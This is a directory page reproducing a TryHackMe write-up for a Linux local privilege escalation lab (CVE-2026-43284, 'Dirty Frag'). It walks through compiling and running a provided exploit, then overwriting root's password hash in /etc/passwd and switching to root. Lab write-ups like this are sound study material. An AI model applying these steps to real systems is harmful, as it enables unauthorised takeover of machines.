Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-43284---DirtyFrag-Analysis-THM- — TryHackMe Dirty Frag (CVE-2026-43284) — Linux LPE writeup | Kitploit
Tools/GitHubGitHub/revyhub/cve-2026-43284---dirtyfrag-analysis-thm-
Privilege EscalationVulnerability AnalysisExploitationCTFLearning & EducationLabs & Practice
GitHubrevyhub/cve-2026-43284---dirtyfrag-analysis-thm-

CVE-2026-43284---DirtyFrag-Analysis-THM-

TryHackMe Dirty Frag (CVE-2026-43284) — Linux LPE writeup

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
141 month agoNot yet reviewed

TryHackMe — CVE-2026-43284: Dirty Frag

Room: CVE-2026-43284: Dirty Frag Category: Linux Privilege Escalation Author: (My Page)

Overview

Dirty Frag is a chained Linux local privilege escalation (LPE) room built around CVE-2026-43284. The goal is to go from an unprivileged shell to root by exploiting a provided proof-of-concept exploit.

Initial Enumeration

Listing the working directory reveals the files provided for the exploit:

root@kitploit:~
$ ls
README.txt
exp
exp.c
  • exp.c — the exploit source code
  • exp — a precompiled binary (may not match the target environment)
  • README.txt — usage notes provided with the exploit

Building the Exploit

Since the provided exp binary may not be compatible with the target's exact environment, it's safer to rebuild it from source:

root@kitploit:~
$ gcc -O0 -Wall -o exp exp.c -lutil
  • -O0 disables compiler optimizations, keeping behavior predictable and matching the source
  • -Wall enables compiler warnings, useful for sanity-checking the build
  • -lutil links libutil — commonly required when code uses pseudo-terminal (pty) functions

Triggering the Vulnerability

root@kitploit:~
$ ./exp

Running the compiled exploit triggers the underlying flaw, resulting in write access to a file that should normally be read-only to unprivileged users — in this case, /etc/passwd.

Escalating to Root

With write access gained, a new password hash for root is generated:

root@kitploit:~
$ openssl passwd -1 root
$1$igIXG8so$6K9OaEbAaj.qaknYx9ST..

This hash is written into /etc/passwd in place of root's existing hash field:

root@kitploit:~
$ nano /etc/passwd

With root's password now known, switching users is straightforward:

root@kitploit:~
$ su root

Capturing the Flag

root@kitploit:~
$ cat /root/flag.txt
THM{REDACTED}

Lessons Learned

  • (This originally took 30+ minutes for general understanding, but once I understood I could repeetively repeat the same exploit multiple times)
  • (The inner root code is strange, you cant select and use the base controls so instead you use the arrow keys to navigate to root❌ and change X to the hash you created)

Mitigations

  • Keep kernel/system packages patched and up to date

This writeup documents a completed TryHackMe room for educational purposes. The target environment is an intentionally vulnerable machine provided by TryHackMe.

Download Tool